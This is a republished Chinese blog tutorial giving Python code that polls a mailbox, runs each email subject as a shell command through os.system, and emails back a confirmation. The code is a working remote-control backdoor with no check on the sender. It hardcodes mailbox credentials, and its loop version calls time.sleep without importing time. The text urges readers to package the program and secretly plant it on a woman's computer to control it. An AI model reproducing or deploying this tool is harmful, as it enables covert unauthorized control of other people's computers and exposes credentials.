脚本之家,脚本语言编程技术及教程分享平台!
分类导航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|

服务器之家 - 脚本之家 - Python - python编写微信远程控制电脑的程序

python编写微信远程控制电脑的程序

2021-01-01 00:33GuityCrown Python

这篇文章主要介绍了python编写微信远程控制电脑的程序,使用python编写的基于邮件收发的远程控制电脑的代码,具有一定的参考价值,感兴趣的小伙伴们可以参考一下

今天来分享一个“高大上”的技术——使用python编写一个可以用微信远程控制电脑的程序!

先来分析一下控制的具体流程:

python编写微信远程控制电脑的程序

我们使用微信给特定的邮箱发送一封邮件,其中包含了我们想要电脑执行的命令,然后电脑上的python程序获取到这封邮件,然后解析其中的命令,再交付给电脑执行。可以看出,这其中主要的技术难点就是获取邮件了!但是!这没有任何问题,大家看到我的上一篇博客《python 收发邮件》就可以了!

下面给出使用python收发邮件并执行邮件命令的代码。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# -*- coding:utf-8 -*-
from email.mime.text import MIMEText
import poplib
import smtplib
import os
 
 
class MailManager(object):
 
  def __init__(self):
    self.popHost = 'pop.sina.com'
    self.smtpHost = 'smtp.sina.com'
    self.port = 25
    self.userName = 'ivanzgj@sina.com'
    self.passWord = 'zgj123'
    self.bossMail = '475176416@qq.com'
    self.login()
    self.configMailBox()
 
  # 登录邮箱
  def login(self):
    try:
      self.mailLink = poplib.POP3_SSL(self.popHost)
      self.mailLink.set_debuglevel(0)
      self.mailLink.user(self.userName)
      self.mailLink.pass_(self.passWord)
      self.mailLink.list()
      print u'login success!'
    except Exception as e:
      print u'login fail! ' + str(e)
      quit()
 
  # 获取邮件
  def retrMail(self):
    try:
      mail_list = self.mailLink.list()[1]
      if len(mail_list) == 0:
        return None
      mail_info = mail_list[0].split(' ')
      number = mail_info[0]
      mail = self.mailLink.retr(number)[1]
      self.mailLink.dele(number)
 
      subject = u''
      sender = u''
      for i in range(0, len(mail)):
        if mail[i].startswith('Subject'):
          subject = mail[i][9:]
        if mail[i].startswith('X-Sender'):
          sender = mail[i][10:]
      content = {'subject': subject, 'sender': sender}
      return content
    except Exception as e:
      print str(e)
      return None
 
  def configMailBox(self):
    try:
      self.mail_box = smtplib.SMTP(self.smtpHost, self.port)
      self.mail_box.login(self.userName, self.passWord)
      print u'config mailbox success!'
    except Exception as e:
      print u'config mailbox fail! ' + str(e)
      quit()
 
  # 发送邮件
  def sendMsg(self, mail_body='Success!'):
    try:
      msg = MIMEText(mail_body, 'plain', 'utf-8')
      msg['Subject'] = mail_body
      msg['from'] = self.userName
      self.mail_box.sendmail(self.userName, self.bossMail, msg.as_string())
      print u'send mail success!'
    except Exception as e:
      print u'send mail fail! ' + str(e)
 
if __name__ == '__main__':
  mailManager = MailManager()
  mail = mailManager.retrMail()
  if mail is not None:
    cmd = mail['subject']
    os.system(cmd)
    mailManager.sendMsg()

上述代码的逻辑是:邮件的主题为要执行的命令,然后python获取邮箱的邮件,解析其主题,然后交到命令行执行。执行成功后发送一封success的邮件给我。

下面测试一下。我使用qq邮箱给我指定的邮箱发送了下面这样一封邮件。

python编写微信远程控制电脑的程序

这封邮件的命令是要打开mail.py这个文件,然后我们在电脑上运行上述代码程序,就可以看到其打开了mail.py这个文件了!
现在,这个程序只会执行一次,然后就会退出,我们只要给它加个死循环就可以让它一直运行了~

?
1
2
3
4
5
6
7
8
9
if __name__ == '__main__':
  while True:
    mailManager = MailManager()
    mail = mailManager.retrMail()
    if mail is not None:
      cmd = mail['subject']
      os.system(cmd)
      mailManager.sendMsg()
    time.sleep(5)

现在我们只要运行其这个程序,然后我们拿着手机,打开微信,一封邮件,便可随时远控电脑!想想,你们拿着这个程序,打包一下,然后悄悄地撞到你心仪的妹子电脑上,趁她不注意的时候,发一封邮件,然后让妹子的电脑干点什么事情(例如显示一段文字表白什么的),想想都很激动呢!!!

好的,下面直接给出一个源码链接吧。
python 微信远程控制电脑

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持服务器之家。

原文链接:http://blog.csdn.net/Ivan_zgj/article/details/51014567

延伸 · 阅读

精彩推荐